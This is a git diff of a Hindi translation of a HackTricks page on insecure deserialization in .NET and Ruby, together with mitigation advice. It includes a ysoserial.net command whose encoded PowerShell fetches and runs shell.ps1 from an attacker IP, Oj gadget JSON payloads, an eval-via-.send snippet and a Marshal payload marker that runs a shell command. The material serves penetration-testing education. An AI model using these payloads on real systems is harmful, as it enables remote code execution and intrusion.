. Net के संदर्भ में, डीसिरियलाइजेशन शोषण जावा में पाए जाने वाले तरीकों के समान काम करते हैं, जहां गैजेट्स का शोषण वस्तु के डीसिरियलाइजेशन के दौरान विशिष्ट कोड चलाने के लिए किया जाता है।
|
||||
|
||||
### फिंगरप्रिंट
|
||||
|
||||
@ -689,30 +689,30 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
1. `TypeNameHandling`
|
||||
2. `JavaScriptTypeResolver`
|
||||
|
||||
ध्यान उन सीरियलाइजर्स पर होना चाहिए जो उपयोगकर्ता नियंत्रण के तहत एक चर द्वारा प्रकार निर्धारित करने की अनुमति देते हैं।
|
||||
ध्यान उन अनुक्रमकों पर होना चाहिए जो उपयोगकर्ता नियंत्रण के तहत एक चर द्वारा प्रकार को निर्धारित करने की अनुमति देते हैं।
|
||||
|
||||
#### ब्लैकबॉक्स
|
||||
|
||||
खोज को बेस64 एन्कोडेड स्ट्रिंग **AAEAAAD/////** या किसी समान पैटर्न पर लक्षित करना चाहिए जो सर्वर-साइड पर डीसिरियलाइजेशन के अधीन हो, जिससे डीसिरियलाइज होने वाले प्रकार पर नियंत्रण प्राप्त हो सके। इसमें, लेकिन सीमित नहीं है, **JSON** या **XML** संरचनाएँ शामिल हो सकती हैं जिनमें `TypeObject` या `$type` है।
|
||||
खोज को बेस64 एन्कोडेड स्ट्रिंग **AAEAAAD/////** या किसी समान पैटर्न पर लक्षित करना चाहिए जो सर्वर-साइड पर डीसिरियलाइज हो सकता है, जिससे डीसिरियलाइज होने वाले प्रकार पर नियंत्रण प्राप्त होता है। इसमें, लेकिन सीमित नहीं है, **JSON** या **XML** संरचनाएँ शामिल हो सकती हैं जिनमें `TypeObject` या `$type` है।
|
||||
|
||||
### ysoserial.net
|
||||
|
||||
इस मामले में आप उपकरण [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) का उपयोग कर सकते हैं ताकि **डीसिरियलाइजेशन शोषण बनाए जा सकें**। एक बार जब आप git रिपॉजिटरी डाउनलोड कर लेते हैं, तो आपको **उपकरण को संकलित करना चाहिए**, उदाहरण के लिए, Visual Studio का उपयोग करके।
|
||||
इस मामले में आप उपकरण [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) का उपयोग कर सकते हैं ताकि **डीसिरियलाइजेशन शोषण बनाए जा सकें**। एक बार जब आप git रिपॉजिटरी डाउनलोड कर लें तो आपको **उपकरण को संकलित करना चाहिए**, उदाहरण के लिए, Visual Studio का उपयोग करके।
|
||||
|
||||
यदि आप जानना चाहते हैं कि **ysoserial.net अपना शोषण कैसे बनाता है** तो आप [**इस पृष्ठ को देख सकते हैं जहां ObjectDataProvider गैजेट + ExpandedWrapper + Json.Net फॉर्मेटर समझाया गया है**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md)।
|
||||
यदि आप जानना चाहते हैं कि **ysoserial.net अपना शोषण कैसे बनाता है** तो आप [**इस पृष्ठ की जांच कर सकते हैं जहां ObjectDataProvider गैजेट + ExpandedWrapper + Json.Net फॉर्मेटर समझाया गया है**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md)।
|
||||
|
||||
**ysoserial.net** के मुख्य विकल्प हैं: **`--gadget`**, **`--formatter`**, **`--output`** और **`--plugin`**।
|
||||
|
||||
- **`--gadget`** का उपयोग उस गैजेट को इंगित करने के लिए किया जाता है जिसका दुरुपयोग किया जाएगा (उस कक्षा/कार्य को इंगित करें जिसका दुरुपयोग डीसिरियलाइजेशन के दौरान आदेश निष्पादित करने के लिए किया जाएगा)।
|
||||
- **`--formatter`**, शोषण को सीरियलाइज करने के लिए विधि को इंगित करने के लिए उपयोग किया जाता है (आपको यह जानने की आवश्यकता है कि बैक-एंड किस पुस्तकालय का उपयोग कर रहा है ताकि लोड को डीसिरियलाइज किया जा सके और इसे सीरियलाइज करने के लिए उसी का उपयोग करें)
|
||||
- **`--output`** का उपयोग यह इंगित करने के लिए किया जाता है कि क्या आप शोषण को **कच्चे** या **बेस64** एन्कोडेड में चाहते हैं। _ध्यान दें कि **ysoserial.net** लोड को **UTF-16LE** (डिफ़ॉल्ट रूप से विंडोज़ पर उपयोग की जाने वाली एन्कोडिंग) का उपयोग करके **एन्कोड** करेगा, इसलिए यदि आप कच्चे लोड को प्राप्त करते हैं और इसे लिनक्स कंसोल से एन्कोड करते हैं, तो आपको कुछ **एन्कोडिंग संगतता समस्याएँ** हो सकती हैं जो शोषण को ठीक से काम करने से रोक सकती हैं (HTB JSON बॉक्स में लोड UTF-16LE और ASCII दोनों में काम करता है लेकिन इसका मतलब यह नहीं है कि यह हमेशा काम करेगा)।_
|
||||
- **`--gadget`** का उपयोग शोषण के लिए गैजेट को इंगित करने के लिए किया जाता है (उस कक्षा/कार्य को इंगित करें जिसका शोषण डीसिरियलाइजेशन के दौरान आदेश निष्पादित करने के लिए किया जाएगा)।
|
||||
- **`--formatter`**, शोषण को अनुक्रमित करने के लिए विधि को इंगित करने के लिए उपयोग किया जाता है (आपको यह जानने की आवश्यकता है कि बैक-एंड किस पुस्तकालय का उपयोग कर रहा है ताकि लोड को डीसिरियलाइज किया जा सके और उसी का उपयोग करके इसे अनुक्रमित किया जा सके)।
|
||||
- **`--output`** का उपयोग यह इंगित करने के लिए किया जाता है कि क्या आप शोषण को **कच्चे** या **बेस64** एन्कोडेड में चाहते हैं। _ध्यान दें कि **ysoserial.net** लोड को **UTF-16LE** (जो विंडोज पर डिफ़ॉल्ट रूप से उपयोग किया जाने वाला एन्कोडिंग है) का उपयोग करके **एन्कोड** करेगा, इसलिए यदि आप कच्चे लोड को प्राप्त करते हैं और इसे लिनक्स कंसोल से एन्कोड करते हैं तो आपको कुछ **एन्कोडिंग संगतता समस्याएँ** हो सकती हैं जो शोषण को सही तरीके से काम करने से रोक सकती हैं (HTB JSON बॉक्स में लोड UTF-16LE और ASCII दोनों में काम करता है लेकिन इसका मतलब यह नहीं है कि यह हमेशा काम करेगा)।_
|
||||
- **`--plugin`** ysoserial.net विशिष्ट ढांचों के लिए **शोषण बनाने के लिए प्लगइन्स का समर्थन करता है** जैसे ViewState
|
||||
|
||||
#### अधिक ysoserial.net पैरामीटर
|
||||
|
||||
- `--minify` एक **छोटा लोड** प्रदान करेगा (यदि संभव हो)
|
||||
- `--raf -f Json.Net -c "anything"` यह सभी गैजेट्स को इंगित करेगा जो एक प्रदान किए गए फॉर्मेटर के साथ उपयोग किए जा सकते हैं (इस मामले में `Json.Net`)
|
||||
- `--sf xml` आप **एक गैजेट** (`-g`) को इंगित कर सकते हैं और ysoserial.net "xml" (केस संवेदनशील नहीं) वाले फॉर्मेटर्स की खोज करेगा
|
||||
- `--minify` एक **छोटा लोड** प्रदान करेगा (यदि संभव हो)।
|
||||
- `--raf -f Json.Net -c "anything"` यह सभी गैजेट्स को इंगित करेगा जो एक प्रदान किए गए फॉर्मेटर के साथ उपयोग किए जा सकते हैं (इस मामले में `Json.Net`)।
|
||||
- `--sf xml` आप **एक गैजेट** (`-g`) को इंगित कर सकते हैं और ysoserial.net "xml" (केस संवेदनशील नहीं) वाले फॉर्मेटर्स की खोज करेगा।
|
||||
|
||||
**ysoserial उदाहरण** शोषण बनाने के लिए:
|
||||
```bash
|
||||
@ -733,7 +733,7 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.
|
||||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
|
||||
```
|
||||
**ysoserial.net** में एक **बहुत दिलचस्प पैरामीटर** है जो हर एक्सप्लॉइट कैसे काम करता है, इसे बेहतर समझने में मदद करता है: `--test`\
|
||||
यदि आप इस पैरामीटर को इंगित करते हैं, तो **ysoserial.net** **स्थानीय रूप से** **एक्सप्लॉइट** को **परीक्षण** करेगा, ताकि आप यह जांच सकें कि आपका पेलोड सही ढंग से काम करेगा या नहीं।\
|
||||
यदि आप इस पैरामीटर को इंगित करते हैं, तो **ysoserial.net** **स्थानीय रूप से** **एक्सप्लॉइट** को **परीक्षण** करेगा, ताकि आप यह परीक्षण कर सकें कि आपका पेलोड सही ढंग से काम करेगा या नहीं।\
|
||||
यह पैरामीटर सहायक है क्योंकि यदि आप कोड की समीक्षा करते हैं, तो आप निम्नलिखित कोड के टुकड़े पाएंगे (से [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
|
||||
```java
|
||||
if (inputArgs.Test)
|
||||
@ -773,8 +773,8 @@ In the **पिछले कोड में बनाए गए एक्सप
|
||||
- **डेटा स्ट्रीम को उनके ऑब्जेक्ट प्रकारों को परिभाषित करने की अनुमति देने से बचें।** जब संभव हो, `DataContractSerializer` या `XmlSerializer` का उपयोग करें।
|
||||
- **`JSON.Net` के लिए, `TypeNameHandling` को `None` पर सेट करें:** `TypeNameHandling = TypeNameHandling.None`
|
||||
- **`JavaScriptSerializer` का उपयोग `JavaScriptTypeResolver` के साथ करने से बचें।**
|
||||
- **उन प्रकारों को सीमित करें जिन्हें deserialized किया जा सकता है**, .Net प्रकारों के साथ अंतर्निहित जोखिमों को समझते हुए, जैसे `System.IO.FileInfo`, जो सर्वर फ़ाइलों की विशेषताओं को संशोधित कर सकता है, जिससे सेवा से इनकार के हमलों की संभावना बढ़ जाती है।
|
||||
- **जोखिम भरे गुणों वाले प्रकारों के साथ सतर्क रहें**, जैसे `System.ComponentModel.DataAnnotations.ValidationException` इसके `Value` गुण के साथ, जिसका शोषण किया जा सकता है।
|
||||
- **उन प्रकारों को सीमित करें जिन्हें deserialized किया जा सकता है**, .Net प्रकारों के अंतर्निहित जोखिमों को समझते हुए, जैसे `System.IO.FileInfo`, जो सर्वर फ़ाइलों की विशेषताओं को संशोधित कर सकता है, जिससे सेवा से इनकार के हमलों की संभावना बढ़ जाती है।
|
||||
- **जोखिम भरे गुणों वाले प्रकारों के साथ सतर्क रहें**, जैसे `System.ComponentModel.DataAnnotations.ValidationException` जिसमें इसका `Value` गुण है, जिसका शोषण किया जा सकता है।
|
||||
- **प्रकार के निर्माण को सुरक्षित रूप से नियंत्रित करें** ताकि हमलावर deserialization प्रक्रिया को प्रभावित न कर सकें, जिससे `DataContractSerializer` या `XmlSerializer` भी संवेदनशील हो जाएं।
|
||||
- **`BinaryFormatter` और `JSON.Net` के लिए एक कस्टम `SerializationBinder` का उपयोग करके श्वेत सूची नियंत्रण लागू करें।**
|
||||
- **.Net में ज्ञात असुरक्षित deserialization गैजेट्स के बारे में सूचित रहें** और सुनिश्चित करें कि deserializers ऐसे प्रकारों का निर्माण न करें।
|
||||
@ -789,7 +789,7 @@ In the **पिछले कोड में बनाए गए एक्सप
|
||||
|
||||
## **Ruby**
|
||||
|
||||
Ruby में, serialization **marshal** पुस्तकालय के भीतर दो विधियों द्वारा सुगम बनाया गया है। पहली विधि, जिसे **dump** के रूप में जाना जाता है, एक ऑब्जेक्ट को बाइट स्ट्रीम में परिवर्तित करने के लिए उपयोग की जाती है। इस प्रक्रिया को serialization कहा जाता है। इसके विपरीत, दूसरी विधि, **load**, एक बाइट स्ट्रीम को वापस एक ऑब्जेक्ट में परिवर्तित करने के लिए उपयोग की जाती है, जिसे deserialization कहा जाता है।
|
||||
Ruby में, serialization **marshal** पुस्तकालय के भीतर दो विधियों द्वारा सुगम बनाया गया है। पहली विधि, जिसे **dump** कहा जाता है, का उपयोग एक ऑब्जेक्ट को बाइट स्ट्रीम में परिवर्तित करने के लिए किया जाता है। इस प्रक्रिया को serialization कहा जाता है। इसके विपरीत, दूसरी विधि, **load**, का उपयोग बाइट स्ट्रीम को वापस एक ऑब्जेक्ट में बदलने के लिए किया जाता है, जिसे deserialization कहा जाता है।
|
||||
|
||||
सिरियलाइज्ड ऑब्जेक्ट्स को सुरक्षित करने के लिए, **Ruby HMAC (Hash-Based Message Authentication Code)** का उपयोग करता है, जो डेटा की अखंडता और प्रामाणिकता सुनिश्चित करता है। इस उद्देश्य के लिए उपयोग की जाने वाली कुंजी कई संभावित स्थानों में से एक में संग्रहीत होती है:
|
||||
|
||||
@ -875,12 +875,12 @@ puts Base64.encode64(payload)
|
||||
|
||||
जैसा कि [**इस सुरक्षा रिपोर्ट**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/) में समझाया गया है, यदि कुछ उपयोगकर्ता का असंसाधित इनपुट एक ruby ऑब्जेक्ट की `.send()` विधि तक पहुँचता है, तो यह विधि ऑब्जेक्ट के किसी भी अन्य विधि को किसी भी पैरामीटर के साथ **आमंत्रित** करने की अनुमति देती है।
|
||||
|
||||
उदाहरण के लिए, eval को कॉल करना और फिर ruby कोड को दूसरे पैरामीटर के रूप में देना मनमाने कोड को निष्पादित करने की अनुमति देगा:
|
||||
उदाहरण के लिए, eval को कॉल करना और फिर दूसरे पैरामीटर के रूप में ruby कोड देना मनमाने कोड को निष्पादित करने की अनुमति देगा:
|
||||
```ruby
|
||||
<Object>.send('eval', '<user input with Ruby code>') == RCE
|
||||
```
|
||||
इसके अलावा, यदि केवल एक पैरामीटर **`.send()`** पर हमलावर द्वारा नियंत्रित किया जाता है, जैसा कि पिछले लेख में उल्लेख किया गया है, तो किसी भी ऐसे ऑब्जेक्ट के मेथड को कॉल करना संभव है जिसे **आर्गुमेंट्स की आवश्यकता नहीं है** या जिनके आर्गुमेंट्स के **डिफ़ॉल्ट मान** हैं।\
|
||||
इसके लिए, ऑब्जेक्ट के सभी मेथड्स को **गिनना संभव है ताकि कुछ दिलचस्प मेथड्स को खोजा जा सके जो उन आवश्यकताओं को पूरा करते हैं**।
|
||||
इसके लिए, ऑब्जेक्ट के सभी मेथड्स को **गिनना संभव है ताकि कुछ दिलचस्प मेथड्स मिल सकें जो उन आवश्यकताओं को पूरा करते हैं**।
|
||||
```ruby
|
||||
<Object>.send('<user_input>')
|
||||
|
||||
@ -908,7 +908,7 @@ candidate_methods.length() # Final number of methods=> 3595
|
||||
|
||||
### Ruby _json pollution
|
||||
|
||||
जब शरीर में कुछ मान भेजे जाते हैं जो हैशेबल नहीं होते जैसे कि एक एरे, तो उन्हें `_json` नामक एक नए कुंजी में जोड़ा जाएगा। हालाँकि, एक हमलावर के लिए यह भी संभव है कि वह शरीर में `_json` नामक एक मान सेट करे जिसमें वह इच्छित मनमाने मान डाल सके। फिर, यदि बैकएंड उदाहरण के लिए एक पैरामीटर की सत्यता की जांच करता है लेकिन फिर `_json` पैरामीटर का उपयोग कुछ क्रिया करने के लिए करता है, तो एक प्राधिकरण बायपास किया जा सकता है।
|
||||
जब कुछ मान भेजे जाते हैं जो हैशेबल नहीं होते जैसे कि एक एरे, तो उन्हें `_json` नामक एक नए कुंजी में जोड़ा जाएगा। हालाँकि, एक हमलावर के लिए यह भी संभव है कि वह शरीर में `_json` नामक एक मान सेट करे जिसमें वह मनचाहे मान डाल सकता है। फिर, यदि बैकएंड उदाहरण के लिए एक पैरामीटर की सत्यता की जांच करता है लेकिन फिर `_json` पैरामीटर का उपयोग कुछ क्रिया करने के लिए करता है, तो एक प्राधिकरण बायपास किया जा सकता है।
|
||||
|
||||
अधिक जानकारी के लिए [Ruby _json pollution पृष्ठ](ruby-_json-pollution.md) पर जांचें।
|
||||
|
||||
@ -916,7 +916,7 @@ candidate_methods.length() # Final number of methods=> 3595
|
||||
|
||||
यह तकनीक [**इस ब्लॉग पोस्ट**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared) से ली गई थी।
|
||||
|
||||
अन्य Ruby पुस्तकालय हैं जिन्हें ऑब्जेक्ट्स को सीरियलाइज़ करने के लिए उपयोग किया जा सकता है और इसलिए इसका दुरुपयोग RCE प्राप्त करने के लिए किया जा सकता है जब असुरक्षित डेसिरियलाइजेशन हो। निम्नलिखित तालिका इनमें से कुछ पुस्तकालयों और उन विधियों को दिखाती है जिन्हें लोड की गई पुस्तकालय के भीतर जब भी इसे अनसीरियलाइज़ किया जाता है (RCE प्राप्त करने के लिए दुरुपयोग करने के लिए कार्य):
|
||||
अन्य Ruby पुस्तकालय हैं जिन्हें ऑब्जेक्ट्स को सीरियलाइज़ करने के लिए उपयोग किया जा सकता है और इसलिए इसका दुरुपयोग RCE प्राप्त करने के लिए असुरक्षित डेसिरियलाइजेशन के दौरान किया जा सकता है। निम्नलिखित तालिका इनमें से कुछ पुस्तकालयों और उन विधियों को दिखाती है जिन्हें लोड की गई पुस्तकालय के भीतर जब भी इसे अनसीरियलाइज़ किया जाता है (RCE प्राप्त करने के लिए दुरुपयोग करने के लिए कार्य):
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Library</strong></td><td><strong>Input data</strong></td><td><strong>Kick-off method inside class</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binary</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (class needs to be put into hash(map) as key)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (class needs to be put into hash(map) as key)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (class needs to be put into hash(map) as key)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([see notes regarding json_create at end](#table-vulnerable-sinks))</td></tr></tbody></table>
|
||||
|
||||
@ -954,7 +954,7 @@ Oj का दुरुपयोग करने की कोशिश के
|
||||
"password": "anypw"
|
||||
}
|
||||
```
|
||||
इसके अलावा, यह पाया गया कि पिछले तकनीक के साथ एक फ़ोल्डर भी सिस्टम में बनाया जाता है, जो किसी अन्य गैजेट का दुरुपयोग करने के लिए एक आवश्यकता है ताकि इसे कुछ इस तरह के पूर्ण RCE में परिवर्तित किया जा सके:
|
||||
इसके अलावा, यह पाया गया कि पिछले तकनीक के साथ एक फ़ोल्डर भी सिस्टम में बनाया जाता है, जो एक अन्य गैजेट का दुरुपयोग करने की आवश्यकता है ताकि इसे कुछ इस तरह के पूर्ण RCE में परिवर्तित किया जा सके:
|
||||
```json
|
||||
{
|
||||
"^o": "Gem::Resolver::SpecSpecification",
|
||||
@ -980,27 +980,27 @@ Check for more details in the [**original post**](https://github.blog/security/v
|
||||
|
||||
### Bootstrap Caching
|
||||
|
||||
यह वास्तव में एक deserialization vuln नहीं है, लेकिन Rails एप्लिकेशन से RCE प्राप्त करने के लिए bootstrap caching का दुरुपयोग करने के लिए एक अच्छा ट्रिक है (पूर्ण [original post यहाँ](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/) खोजें)।
|
||||
यह वास्तव में एक deserialization vuln नहीं है, लेकिन Rails एप्लिकेशन से RCE प्राप्त करने के लिए bootstrap caching का दुरुपयोग करने के लिए एक अच्छा ट्रिक है (पूर्ण [original post in here](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/) देखें)।
|
||||
|
||||
नीचे Bootsnap caching का दुरुपयोग करके एक मनमाने फ़ाइल लेखन भेद्यता का शोषण करने के लिए लेख में विस्तृत चरणों का संक्षिप्त सारांश है:
|
||||
नीचे उन चरणों का संक्षिप्त सारांश है जो लेख में Bootsnap caching का दुरुपयोग करके एक मनमाने फ़ाइल लेखन भेद्यता का शोषण करने के लिए विस्तृत हैं:
|
||||
|
||||
- Identify the Vulnerability and Environment
|
||||
- Vulnerability और Environment की पहचान करें
|
||||
|
||||
Rails ऐप की फ़ाइल अपलोड कार्यक्षमता एक हमलावर को मनमाने ढंग से फ़ाइलें लिखने की अनुमति देती है। हालांकि ऐप प्रतिबंधों के साथ चलता है (केवल कुछ निर्देशिकाएँ जैसे tmp Docker के non-root उपयोगकर्ता के कारण लिखने योग्य हैं), फिर भी यह Bootsnap कैश निर्देशिका (आमतौर पर tmp/cache/bootsnap के तहत) में लिखने की अनुमति देता है।
|
||||
Rails ऐप की फ़ाइल अपलोड कार्यक्षमता एक हमलावर को मनमाने ढंग से फ़ाइलें लिखने की अनुमति देती है। हालांकि ऐप प्रतिबंधों के साथ चलता है (केवल कुछ निर्देशिकाएँ जैसे tmp Docker के non-root user के कारण लिखने योग्य हैं), यह अभी भी Bootsnap कैश निर्देशिका (आमतौर पर tmp/cache/bootsnap के तहत) में लिखने की अनुमति देता है।
|
||||
|
||||
- Understand Bootsnap’s Cache Mechanism
|
||||
- Bootsnap के कैश तंत्र को समझें
|
||||
|
||||
Bootsnap Rails बूट समय को संकलित Ruby कोड, YAML, और JSON फ़ाइलों को कैश करके तेज करता है। यह कैश फ़ाइलें संग्रहीत करता है जिनमें एक कैश कुंजी हेडर होता है (जिसमें Ruby संस्करण, फ़ाइल आकार, mtime, संकलन विकल्प आदि जैसे फ़ील्ड होते हैं) इसके बाद संकलित कोड होता है। इस हेडर का उपयोग ऐप स्टार्टअप के दौरान कैश को मान्य करने के लिए किया जाता है।
|
||||
|
||||
- Gather File Metadata
|
||||
- फ़ाइल मेटाडेटा एकत्र करें
|
||||
|
||||
हमलावर पहले एक लक्षित फ़ाइल का चयन करता है जो संभवतः Rails स्टार्टअप के दौरान लोड होती है (उदाहरण के लिए, Ruby के मानक पुस्तकालय से set.rb)। कंटेनर के अंदर Ruby कोड निष्पादित करके, वे महत्वपूर्ण मेटाडेटा (जैसे RUBY_VERSION, RUBY_REVISION, आकार, mtime, और compile_option) निकालते हैं। यह डेटा एक मान्य कैश कुंजी बनाने के लिए आवश्यक है।
|
||||
|
||||
- Compute the Cache File Path
|
||||
- कैश फ़ाइल पथ की गणना करें
|
||||
|
||||
Bootsnap के FNV-1a 64-बिट हैश तंत्र की नकल करके, सही कैश फ़ाइल पथ निर्धारित किया जाता है। यह कदम सुनिश्चित करता है कि दुर्भावनापूर्ण कैश फ़ाइल ठीक उसी स्थान पर रखी गई है जहाँ Bootsnap इसे अपेक्षित करता है (जैसे, tmp/cache/bootsnap/compile-cache-iseq/ के तहत)।
|
||||
|
||||
- Craft the Malicious Cache File
|
||||
- दुर्भावनापूर्ण कैश फ़ाइल तैयार करें
|
||||
|
||||
हमलावर एक पेलोड तैयार करता है जो:
|
||||
|
||||
@ -1010,7 +1010,58 @@ Bootsnap के FNV-1a 64-बिट हैश तंत्र की नकल
|
||||
|
||||
यह पेलोड बाइनरी Ruby कोड में संकलित किया जाता है और एक सावधानीपूर्वक निर्मित कैश कुंजी हेडर (पूर्व में एकत्रित मेटाडेटा और Bootsnap के लिए सही संस्करण संख्या का उपयोग करके) के साथ जोड़ा जाता है।
|
||||
|
||||
- Overwrite and Trigger Execution
|
||||
मनमाने फ़ाइल लेखन भेद्यता का उपयोग करके, हमलावर गणना की गई स्थिति में तैयार की गई कैश फ़ाइल लिखता है। अगला, वे एक सर्वर पुनरारंभ को ट्रिगर करते हैं (tmp/restart.txt में लिखकर, जिसे Puma द्वारा मॉनिटर किया जाता है)। पुनरारंभ के दौरान, जब Rails लक्षित फ़ाइल की आवश्यकता होती है, तो दुर्भावनापूर्ण कैश फ़ाइल लोड होती है, जिसके परिणामस्वरूप दूरस्थ कोड निष्पादन (RCE) होता है।
|
||||
- ओवरराइट करें और निष्पादन को ट्रिगर करें
|
||||
मनमाने फ़ाइल लेखन भेद्यता का उपयोग करते हुए, हमलावर गणना की गई स्थान पर तैयार की गई कैश फ़ाइल लिखता है। अगला, वे एक सर्वर पुनरारंभ को ट्रिगर करते हैं (tmp/restart.txt में लिखकर, जिसे Puma द्वारा मॉनिटर किया जाता है)। पुनरारंभ के दौरान, जब Rails लक्षित फ़ाइल की आवश्यकता होती है, तो दुर्भावनापूर्ण कैश फ़ाइल लोड होती है, जिससे दूरस्थ कोड निष्पादन (RCE) होता है।
|
||||
|
||||
### Ruby Marshal exploitation in practice (updated)
|
||||
|
||||
किसी भी पथ को जहां अविश्वसनीय बाइट्स `Marshal.load`/`marshal_load` तक पहुँचते हैं, RCE सिंक के रूप में मानें। Marshal मनमाने ऑब्जेक्ट ग्राफ को पुनर्निर्माण करता है और सामग्रीकरण के दौरान पुस्तकालय/जेम कॉलबैक को ट्रिगर करता है।
|
||||
|
||||
- न्यूनतम संवेदनशील Rails कोड पथ:
|
||||
```ruby
|
||||
class UserRestoreController < ApplicationController
|
||||
def show
|
||||
user_data = params[:data]
|
||||
if user_data.present?
|
||||
deserialized_user = Marshal.load(Base64.decode64(user_data))
|
||||
render plain: "OK: #{deserialized_user.inspect}"
|
||||
else
|
||||
render plain: "No data", status: :bad_request
|
||||
end
|
||||
end
|
||||
end
|
||||
```
|
||||
- वास्तविक श्रृंखलाओं में देखी जाने वाली सामान्य गैजेट श्रेणियाँ: `Gem::SpecFetcher`, `Gem::Version`, `Gem::RequestSet::Lockfile`, `Gem::Resolver::GitSpecification`, `Gem::Source::Git`.
|
||||
- पेलोड में एम्बेडेड सामान्य साइड-इफेक्ट मार्कर (जो अनमार्शल के दौरान निष्पादित होते हैं):
|
||||
```
|
||||
*-TmTT="$(id>/tmp/marshal-poc)"any.zip
|
||||
```
|
||||
जहां यह वास्तविक ऐप्स में प्रकट होता है:
|
||||
- Rails कैश स्टोर्स और सत्र स्टोर्स ऐतिहासिक रूप से Marshal का उपयोग करते हैं
|
||||
- बैकग्राउंड जॉब बैकएंड और फ़ाइल-समर्थित ऑब्जेक्ट स्टोर्स
|
||||
- बाइनरी ऑब्जेक्ट ब्लॉब्स की किसी भी कस्टम स्थायीता या परिवहन
|
||||
|
||||
औद्योगिक गैजेट खोज:
|
||||
- कंस्ट्रक्टर्स, `hash`, `_load`, `init_with`, या अनमार्शल के दौरान कॉल किए गए साइड-इफेक्ट वाले तरीकों के लिए Grep करें
|
||||
- स्रोतों → सिंक्स को ट्रेस करने और गैजेट्स को सतह पर लाने के लिए CodeQL के Ruby असुरक्षित डेसिरियलाइजेशन क्वेरीज़ का उपयोग करें
|
||||
- सार्वजनिक मल्टी-फॉर्मेट PoCs (JSON/XML/YAML/Marshal) के साथ मान्य करें
|
||||
|
||||
|
||||
## संदर्भ
|
||||
|
||||
- Trail of Bits – Marshal madness: A brief history of Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
|
||||
- elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
|
||||
- Phrack #69 – Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
|
||||
- CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
|
||||
- ZDI – RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
|
||||
- Include Security – Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
|
||||
- GitHub Security Lab – Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
|
||||
- GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
|
||||
- Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
|
||||
- Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
|
||||
- Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
|
||||
- Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
|
||||
- Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
|
||||
- Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user